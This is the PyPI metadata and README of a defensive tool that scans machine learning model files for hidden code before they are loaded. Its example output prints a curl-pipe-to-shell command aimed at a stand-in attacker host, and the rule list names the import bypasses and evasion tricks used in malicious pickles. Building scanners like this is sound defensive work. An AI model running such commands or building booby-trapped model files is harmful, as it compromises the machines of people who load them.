Metadata-Version: 2.5
Name: model-file-guard
Version: 0.1.0
Summary: Check machine learning model files (pickle, joblib, PyTorch, Keras, GGUF, ONNX, safetensors, NumPy) for hidden code before you load them. Allowlist-based, reads without importing anything, no dependencies.
Project-URL: Homepage, https://www.ahmadzia.com/tools/model-file-guard
Project-URL: Documentation, https://www.ahmadzia.com/tools/model-file-guard
Project-URL: Source, https://github.com/MuhammadAhmadZia/model-file-guard
Project-URL: Issues, https://github.com/MuhammadAhmadZia/model-file-guard/issues
Project-URL: Changelog, https://github.com/MuhammadAhmadZia/model-file-guard/blob/main/CHANGELOG.md
Project-URL: Author, https://www.ahmadzia.com
Project-URL: Research, https://www.ahmadzia.com/research
Author-email: Muhammad Ahmad Zia <muhammad.zia@cs.uol.edu.pk>
License-Expression: MIT
License-File: LICENSE
Keywords: ai-security,deserialization,gguf,huggingface,joblib,keras,ml-security,mlsecops,model-scanning,onnx,pickle,pytorch,safetensors,supply-chain-security
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Intended Audience :: Information Technology
Classifier: Intended Audience :: Science/Research
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
Classifier: Topic :: Security
Requires-Python: >=3.9
Provides-Extra: compression
Requires-Dist: lz4>=4; extra == 'compression'
Requires-Dist: py7zr>=0.20; extra == 'compression'
Requires-Dist: zstandard>=0.21; extra == 'compression'
Provides-Extra: test
Requires-Dist: pytest>=7; extra == 'test'
Provides-Extra: test-real
Requires-Dist: gguf; extra == 'test-real'
Requires-Dist: joblib; extra == 'test-real'
Requires-Dist: lightgbm; extra == 'test-real'
Requires-Dist: numpy; extra == 'test-real'
Requires-Dist: onnx; extra == 'test-real'
Requires-Dist: pandas; extra == 'test-real'
Requires-Dist: pytest>=7; extra == 'test-real'
Requires-Dist: safetensors; extra == 'test-real'
Requires-Dist: scikit-learn; extra == 'test-real'
Requires-Dist: xgboost; extra == 'test-real'
Description-Content-Type: text/markdown

# model-file-guard

<!-- badges -->
[![PyPI](https://img.shields.io/pypi/v/model-file-guard?color=3a7a4e&label=PyPI)](https://pypi.org/project/model-file-guard/) [![CI](https://github.com/MuhammadAhmadZia/model-file-guard/actions/workflows/ci.yml/badge.svg)](https://github.com/MuhammadAhmadZia/model-file-guard/actions/workflows/ci.yml) [![License: MIT](https://img.shields.io/badge/license-MIT-0d2018)](LICENSE) [![Agent skill](https://img.shields.io/badge/agent%20skill-model--file--guard-c5dfc9)](skills/model-file-guard/SKILL.md) [![Guide](https://img.shields.io/badge/guide-ahmadzia.com-3a7a4e)](https://www.ahmadzia.com/tools/model-file-guard)

**Check machine learning model files for hidden code before you load them.**

A `.pkl`, `.joblib`, `.pt`, `.bin` or `.ckpt` file is not just numbers. Loading it with `pickle`, `joblib.load` or an older `torch.load` can run any code the file asks for: install malware, steal API keys, open a shell. model-file-guard reads the file the way the loader would, **without importing or running anything**, and tells you what it would do.

```text
$ model-file-guard downloads/
✖ DANGEROUS  pytorch_model.bin  [pytorch (zip)]
    CRITICAL Pickle imports something that can run commands, run code, or touch files or the network
             os.system: runs shell commands and changes files
             where: archive/data.pkl @ byte 47
             - would run: os.system('curl http://evil.example/x.sh | sh')
             fix: Do not load this file. If you trust the source and need the weights, ask for a safetensors copy.
✓ OK         model.safetensors  [safetensors]
? REVIEW     price_model.joblib  [joblib]
    MEDIUM   Pickle imports code that is not on the allowlist
             1 import(s) need review
             - shopml.models.PriceModel: not on the allowlist: loading imports this and may run it

3 file(s) scanned: 1 dangerous, 1 review, 1 ok. Overall: DANGEROUS
```

- **No dependencies.** Pure Python standard library, Python 3.9 to 3.14.
- **Allowlist, not blocklist.** Only imports known to rebuild plain data, tensors or ML library objects pass. Blocklist-only scanners keep getting bypassed by imports nobody listed (`pkgutil.resolve_name`, `pty.spawn`, `uuid._get_command_stdout`...).
- **Reads by content, not by file name.** A pickle renamed `.bin` or `.safetensors` is still scanned as a pickle.
- **Fast on big files.** It seeks past tensor data instead of reading it: a 386 MB scikit-learn joblib file scans in 0.04 s with 20 MB of memory.
- **Scans Hugging Face repos without downloading them**, using HTTP range requests.

Built by [Ahmad Zia](https://www.ahmadzia.com), AI and e-commerce consultant and green/secure ML researcher. Free and MIT licensed.

---

## Contents

1. [Install](#1-install)
2. [Scan a file or folder](#2-scan-a-file-or-folder)
3. [Read the result](#3-read-the-result)
4. [Your own model classes](#4-your-own-model-classes)
5. [Scan a Hugging Face model before downloading it](#5-scan-a-hugging-face-model-before-downloading-it)
6. [Use it in Python code](#6-use-it-in-python-code)
7. [Use it in CI (GitHub Actions, pre-commit)](#7-use-it-in-ci)
8. [Check your installed libraries](#8-check-your-installed-libraries)
9. [What it checks](#9-what-it-checks)
10. [How it compares](#10-how-it-compares)
11. [Limits](#11-limits)
12. [Sustainable Development Goals](#12-sustainable-development-goals)

---

## 1. Install

You need Python 3.9 or newer. Check with:

```bash
python --version
```

Install:

```bash
pip install model-file-guard
```

Optional extras for zstd, lz4 and 7z files (some joblib files use these, and malicious models have used 7z to dodge scanners):

```bash
pip install "model-file-guard[compression]"
```

Check it works:

```bash
model-file-guard --version
```

If your terminal says `command not found`, use `python -m model_file_guard` instead of `model-file-guard` in every command below.

## 2. Scan a file or folder

One file:

```bash
model-file-guard model.joblib
```

A whole folder (every file inside is checked; files that are not models, such as README files, are skipped):

```bash
model-file-guard ./models
```

Your Hugging Face download cache:

```bash
model-file-guard ~/.cache/huggingface/hub
```

Useful options:

| Option | What it does |
|---|---|
| `-v` | Also show format details and notes (tensor counts, versions, how much was read) |
| `-q` | Print only the summary line |
| `--md report.md` | Save a Markdown report you can share |
| `--json report.json` | Save a JSON report (`--json -` prints it) |
| `--sarif results.sarif` | Save SARIF for GitHub code scanning |
| `--fail-on high` | Only fail (exit code 1) on high or critical findings. Default: `medium` |
| `--allow mypkg.Model` | Trust one extra import (see section 4) |

Exit codes: `0` = passed, `1` = something at or above `--fail-on` was found, `2` = could not run (bad path, bad option).

## 3. Read the result

Each file gets one verdict, from its worst finding:

| Verdict | Meaning | What to do |
|---|---|---|
| ✖ **DANGEROUS** | The file imports or runs something that can execute commands, run code, or touch files or the network. | Do not load it. Delete it or report it. |
| **! SUSPICIOUS** | The file uses tricks that real model files do not (hidden zip entries, broken checksums, computed import names, template injection). | Do not load it. |
| **? REVIEW** | The file needs code that is not on the allowlist, usually your own model class, or part of it could not be read. | Check the listed imports are your code. Then allow them (section 4). |
| ✓ **OK** | Only plain data, tensors, or known ML library classes. Safe formats (safetensors, GGUF, ONNX, plain `.npy`) are checked for malformed headers too. | Fine to load **if you trust where it came from**. |

"OK" for a pickle means "nothing unusual found", not "certified safe": loading any pickle still runs the rebuild code of the libraries it names (scikit-learn, pandas...). For files from strangers, prefer formats that cannot hold code: **safetensors, GGUF, ONNX, or skops** for scikit-learn.

## 4. Your own model classes

If you pickled your own class (say `shopml.models.PriceModel`), the scan says **REVIEW**, because loading that file imports your code. When you have checked it is your code, allow it:

```bash
model-file-guard model.pkl --allow shopml.models.PriceModel
```

Allow everything from your own package:

```bash
model-file-guard models/ --allow "shopml.*"
```

Or keep a list in a file (one per line, `#` for comments):

```text
# allowlist.txt
shopml.*
myteam.features.TextCleaner
```

```bash
model-file-guard models/ --allowlist allowlist.txt
```

Dangerous imports (`os.system`, `eval`, `subprocess`...) can never be allowed.

## 5. Scan a Hugging Face model before downloading it

```bash
model-file-guard hf openai-community/gpt2
```

What happens:

1. The branch (`main` by default) is pinned to its commit hash, so every file comes from the same commit.
2. Each model file is read with HTTP range requests, only as far as the scan needs: a safetensors or GGUF header, a zip directory plus `data.pkl`, a pickle minus the tensor data it skips.
3. You also see whether the repo ships Python code that needs `trust_remote_code=True`, and what Hugging Face's own scanners say.

Options: `--revision v1.0` (a branch, tag or commit), `--type dataset`, and `--token hf_...` for private or gated repos (or set the `HF_TOKEN` environment variable). The token is only sent to huggingface.co, never to the file CDN it redirects to.

One file at any URL that supports range requests:

```bash
model-file-guard url https://example.com/models/model.safetensors
```

## 6. Use it in Python code

Scan:

```python
from model_file_guard import scan

report = scan("models/")
print(report.verdict)                 # DANGEROUS, SUSPICIOUS, REVIEW or OK
for f in report.files:
    print(f.path, f.verdict, [x.rule for x in f.findings])
```

Scan, then load only if it passes (raises `UnsafeModelError` otherwise):

```python
import joblib
from model_file_guard import safe_load

model = safe_load("price_model.joblib", joblib.load, allow=["shopml.*"])
```

With PyTorch, keep `weights_only=True` as well:

```python
import torch
from model_file_guard import safe_load

state = safe_load("weights.pt", lambda p: torch.load(p, weights_only=True))
```

Load from a folder only you can write to: the file must not change between the scan and the load.

## 7. Use it in CI

**GitHub Actions** (fails the job on anything at medium or above, and shows findings in the Security tab):

```yaml
# .github/workflows/model-scan.yml
name: Model file scan
on: [push, pull_request]
permissions:
  contents: read
  security-events: write
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
        with:
          lfs: true
      - uses: actions/setup-python@v7
        with:
          python-version: "3.12"
      - run: pip install model-file-guard
      - run: model-file-guard models/ --sarif model-scan.sarif
      - uses: github/codeql-action/upload-sarif@v4
        if: always()
        with:
          sarif_file: model-scan.sarif
```

**pre-commit** (checks model files before each commit):

```yaml
# .pre-commit-config.yaml
repos:
  - repo: local
    hooks:
      - id: model-file-guard
        name: model-file-guard
        entry: model-file-guard
        language: python
        additional_dependencies: ["model-file-guard"]
        files: \.(pkl|pickle|joblib|pt|pth|bin|ckpt|safetensors|gguf|onnx|keras|h5|npy|npz)$
```

## 8. Check your installed libraries

Some loaders had bugs that let a model file run code even in "safe" mode. Check yours:

```bash
model-file-guard env
```

It compares installed versions with known model-loading vulnerabilities (checked 4 Dec 2026):

| Package | Problem | Fixed in |
|---|---|---|
| torch | `torch.load(weights_only=True)` could still run code (CVE-2025-32434) | 2.6.0 |
| keras | `safe_mode=True` bypasses (CVE-2025-1550; CVE-2025-8747 and CVE-2025-9906; CVE-2026-1462 TFSMLayer; CVE-2026-12481 Lambda) | 3.9.0; 3.11.0; 3.13.2; 3.12.3 or 3.15.0 |
| llama-cpp-python | GGUF chat template runs code (CVE-2024-34359) | 0.2.72 |
| onnx | external data reads files outside the model folder (CVE-2024-27318; CVE-2026-34447 via symlinks) | 1.16.0; 1.21.0 |
| picklescan | misses payloads reached through `pkgutil.resolve_name` (GHSA-vvpj-8cmc-gx39) | 1.0.4 |

## 9. What it checks

Run `model-file-guard rules` for the full list with severities.

**Pickle-based files** (`.pkl`, `.joblib`, PyTorch `.pt/.pth/.bin/.ckpt`, NumPy object arrays, anything that is a pickle inside):

- every import the file makes, after the Python 2 renames pickle applies (`__builtin__.eval` is `builtins.eval`);
- `STACK_GLOBAL` names taken from the memo or built by earlier calls, a layout that line-by-line scanners mis-tracked (GHSA-9gvj-pp9x-gcfr);
- calls on the result of other calls (`getattr(...)(...)`, `resolve_name('os:system')('id')`);
- `EXT1/2/4` imports through the copyreg registry, attribute walks such as `OrderedDict.__init__.__globals__`, and `BUILD` used to monkey-patch imported classes;
- pickles hidden inside byte strings of another pickle, and pickles that break halfway after their payload (the "nullifAI" technique);
- joblib files as joblib reads them (array bytes skipped) **and** as `pickle.load` would read them, so instructions hidden in the array padding are found;
- every pickle in old-format `torch.save` files and in tar-format PyTorch files (which bypassed `weights_only=True` before PyTorch 2.6, CVE-2025-32434);
- whole models saved with `torch.save(model)` instead of a `state_dict` (they do not load with `weights_only=True`).

**Archives** (PyTorch zips, `.keras`, `.npz`, tar, 7z, gzip, bz2, xz, lzma, zlib, zstd, lz4):

- zip members read from their own headers, with checksums checked rather than trusted (a bad CRC stopped picklescan while PyTorch still loaded the file, CVE-2025-10156);
- entries hidden between listed members, names that differ between headers, duplicate names, paths with `..`, symlinks, encrypted members, decompression bombs;
- files that are two formats at once (a pickle with a zip appended).

**Formats that cannot hold Python code** are still checked, because malformed headers crash loaders:

- **safetensors**: every rule the reference implementation enforces, including "no holes" (extra bytes can hide a second file).
- **GGUF**: every count and length bounded by the file size (llama.cpp heap overflows CVE-2025-53630, CVE-2026-27940), plus chat templates checked for Jinja sandbox escapes (CVE-2024-34359).
- **ONNX**: external-data paths that leave the model folder or are symlinks; custom operator domains.
- **Keras** (`.keras`, legacy `.h5`): Lambda layers with Python bytecode, functions named by module (`os.system`, `keras.utils.get_file`, `keras.config.enable_unsafe_deserialization`), `TFSMLayer`, custom objects.
- **TensorFlow** `saved_model.pb`: file and Python ops (`ReadFile`, `WriteFile`, `PyFunc`).
- **Hugging Face folders**: `auto_map` entries that need `trust_remote_code=True`, and the Python files they point to; chat templates in `tokenizer_config.json` and `.jinja` files.

## 10. How it compares

We ran three open-source scanners on 23 attack files (each reproducing a published technique) and 5 real benign files, on 4 Dec 2026. You can rebuild the files and rerun this yourself with [`examples/compare_scanners.py`](examples/compare_scanners.py).

| | model-file-guard 0.1.0 | picklescan 1.0.5 | fickling 0.1.13 |
|---|---|---|---|
| Attack files flagged | **23 of 23** | 15 | 17 |
| Attack files not flagged | 0 | 6 | 1 |
| Attack files it could not read | 0 | 2 | 5 |
| Benign files flagged (false alarms) | **0 of 5** | 0 | 4 |
| Benign files it could not read | 0 | 1 (a plain scikit-learn joblib file) | 1 |

picklescan missed attribute walks, EXT imports, a gzipped pickle, a tar-format PyTorch file, a pickle hidden in bytes and a hidden zip entry. fickling treats every import outside the standard library as unsafe by design, so it flags normal scikit-learn and NumPy files. Both are excellent projects with different goals, and parts of this tool's design come from their published advisories. These numbers are for our test files only.

## 11. Limits

- A clean result means no known risk was found, not that the model is trustworthy. A model can also be poisoned to give wrong answers, which no file scanner can see.
- Pickle files that name your own code can only be judged by reading that code.
- Static checks of Keras configs and TensorFlow graphs look for known risky patterns, not every possible one.
- Remote scans of ONNX, `.pb` and `.h5` files larger than 256 MB are skipped (those formats must be read whole).

## 12. Sustainable Development Goals

This tool supports **SDG 9, target 9.1: "Develop quality, reliable, sustainable and resilient infrastructure... with a focus on affordable and equitable access for all."** Shared pretrained models are now part of the world's digital infrastructure: small shops, students and researchers in low- and middle-income countries depend on them because they cannot train their own. One poisoned file on a model hub can compromise every machine that loads it. A free scanner with no dependencies, that runs on a laptop and scans a hub repo without downloading gigabytes, makes that shared infrastructure safer to use for the people with the fewest resources to recover from an attack.

It also supports **target 9.5** ("Enhance scientific research, upgrade the technological capabilities of industrial sectors in all countries, in particular developing countries..."): researchers and small teams build on shared models instead of training from scratch, and they can only do that safely if checking a model file is free and easy.

## Research and sources

Every rule cites its source in the tool (`model-file-guard rules`, and `refs` in JSON output). Main sources, all checked 4 Dec 2026:

- PyTorch: `torch/_weights_only_unpickler.py` (allowlist), the `weights_only` default change in 2.6, CVE-2025-32434
- picklescan advisories: CVE-2025-10155, CVE-2025-10156, CVE-2025-10157 (JFrog), GHSA-9gvj-pp9x-gcfr, GHSA-hgrh-qx5j-jfwx, GHSA-vvpj-8cmc-gx39, CVE-2025-71355
- ReversingLabs, "Malicious ML models discovered on Hugging Face platform" (nullifAI, Feb 2025)
- Keras: CVE-2025-1550, CVE-2025-8747, CVE-2025-9906, CVE-2026-1462, CVE-2026-12481
- llama.cpp / GGUF: CVE-2024-34359, CVE-2025-53630, CVE-2026-27940; ggml `docs/gguf.md`
- ONNX: CVE-2022-25882, CVE-2024-27318, CVE-2025-51480, CVE-2026-34447; ONNX External Data Security docs
- safetensors format spec and `tensor.rs` validation

Not affiliated with PyTorch, Hugging Face, Keras, ONNX, llama.cpp, JFrog, ReversingLabs, picklescan or fickling.

## License

MIT. See [LICENSE](LICENSE).

<!-- ahmadzia-links -->
## Guide, help and author

- **Full guide with examples and FAQs:** [www.ahmadzia.com/tools/model-file-guard](https://www.ahmadzia.com/tools/model-file-guard)
- **Background reading:** [Is pickle safe? ML model file scanners compared](https://www.ahmadzia.com/blog/is-pickle-safe-ml-model-scanners-compared)
- **All 30 free tools and agent skills:** [ahmadzia.com/tools](https://www.ahmadzia.com/tools) · [ahmadzia.com/skills](https://www.ahmadzia.com/skills)
- **Want it set up, fixed or tuned for your store?** [Book a free call](https://www.ahmadzia.com/contact)

Built by **[Ahmad Zia](https://www.ahmadzia.com)** (Muhammad Ahmad Zia), an AI consultant for ecommerce since 2020 and green AI researcher at the University of Lahore. [Research](https://www.ahmadzia.com/research) · [Google Scholar](https://scholar.google.com/citations?user=sqjdX2EAAAAJ&hl=en) · [ORCID](https://orcid.org/0000-0002-3208-6246) · [LinkedIn](https://www.linkedin.com/in/muhammad-ahmadzia/) · [GitHub](https://github.com/MuhammadAhmadZia)
<!-- /ahmadzia-links -->

## More AI and store security tools

- [shopbot-shield](https://github.com/MuhammadAhmadZia/shopbot-shield): Prompt injection protection for ecommerce chatbots and AI shopping assistants
- [llm-store-review](https://github.com/MuhammadAhmadZia/llm-store-review): Security review of AI chatbots and agents in your code, mapped to the OWASP LLM Top 10 2026
- [rag-content-guard](https://github.com/MuhammadAhmadZia/rag-content-guard): Find hidden instructions and poisoned documents before they reach your RAG index or AI agent
- [storeguard](https://github.com/MuhammadAhmadZia/storeguard): Free security scanner for vibe-coded online stores
- [payguard-check](https://github.com/MuhammadAhmadZia/payguard-check): Find payment security mistakes that give away free orders

All 30 tools and agent skills: [github.com/MuhammadAhmadZia](https://github.com/MuhammadAhmadZia) · [ahmadzia.com/tools](https://www.ahmadzia.com/tools)
